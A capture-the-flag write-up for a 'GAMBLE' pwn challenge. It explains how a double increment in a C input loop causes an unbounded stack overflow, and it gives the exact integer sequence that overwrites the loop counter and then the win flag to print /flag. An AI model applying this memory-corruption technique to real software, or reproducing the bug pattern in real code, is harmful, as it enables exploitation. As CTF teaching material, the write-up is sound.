C:\CTF\K17\GAMBLE.EXE _□X

GAMBLE

pwn

Challenge

A C program deals out a “lotto of fate”: it reads 7 integers into noob.numbers[], and only calls win() (which reads /flag) if noob.win != 0x67 by the time the loop ends. win starts at 0x67 and is never touched anywhere else in the code.

struct gambler {
    int win;
    int numbers[SLOTS]; // SLOTS = 7
};

void challenge(void) {
    struct gambler noob;
    noob.win = 0x67;

    int i = 0;
    int accum = 0;
    while (i != SLOTS) {
        scanf("%d", &noob.numbers[i]);
        accum += noob.numbers[i];

        if (accum == 67) {
            puts("thats a naughty naughty number, one less chance to win");
            i++;              // extra increment
        }
        i++;                  // normal increment
    }

    if (noob.win == 0x67) { /* rip */ }
    else { win(); }           // reads /flag
}

The Bug

Whenever the running accum lands on exactly 67, i gets incremented twice that iteration instead of once. Trigger that on the last “in bounds” write (when i == 6) and i jumps straight from 6 to 8, skipping the i == 7 exit check entirely. Since i only ever increases, while (i != SLOTS) can never become false again — scanf keeps writing further and further past the end of the array, unbounded, directly onto the rest of the stack frame.

Finding the Layout Without a Binary

No binary was provided, only an nc endpoint — but the deployed build prints a full register/stack dump after every single input, effectively a built-in debugger. Reading that dump instead of guessing offsets gave the exact stack layout with zero brute forcing:

Solution

Walk i out to 10 via the overflow, then overwrite i’s own memory with -2. The loop’s trailing i++ turns that into -1, so the next write lands on noob.numbers[-1] — one int before the array, i.e. win itself. Overwrite it with anything other than 0x67, then feed 7 more harmless zeros to walk i back up from -1 to 7 so the loop exits normally and falls into the win branch.

sequence = [
    0, 0, 0, 0, 0, 0,   # numbers[0..5] = 0, accum stays 0
    67,                  # numbers[6] = 67 -> accum hits 67, triggers double-increment (i: 6->8)
    1,                   # numbers[8] (junk) = 1 -> accum = 68, avoid re-trigger
    1,                   # numbers[9] == accum itself; write 1 -> accum self-doubles to 2
    -2,                  # numbers[10] == i itself; write -2 -> trailing i++ makes i = -1
    0,                   # numbers[-1] == win; write 0 -> win overwritten
    0, 0, 0, 0, 0, 0, 0 # 7 more zeros walk i from -1 back up to 7, loop exits cleanly
]

for v in sequence:
    s.sendall(f"{v}\n".encode())

The loop exits with win == 0, falls past the check, and challenge() calls win(), which reads and prints /flag.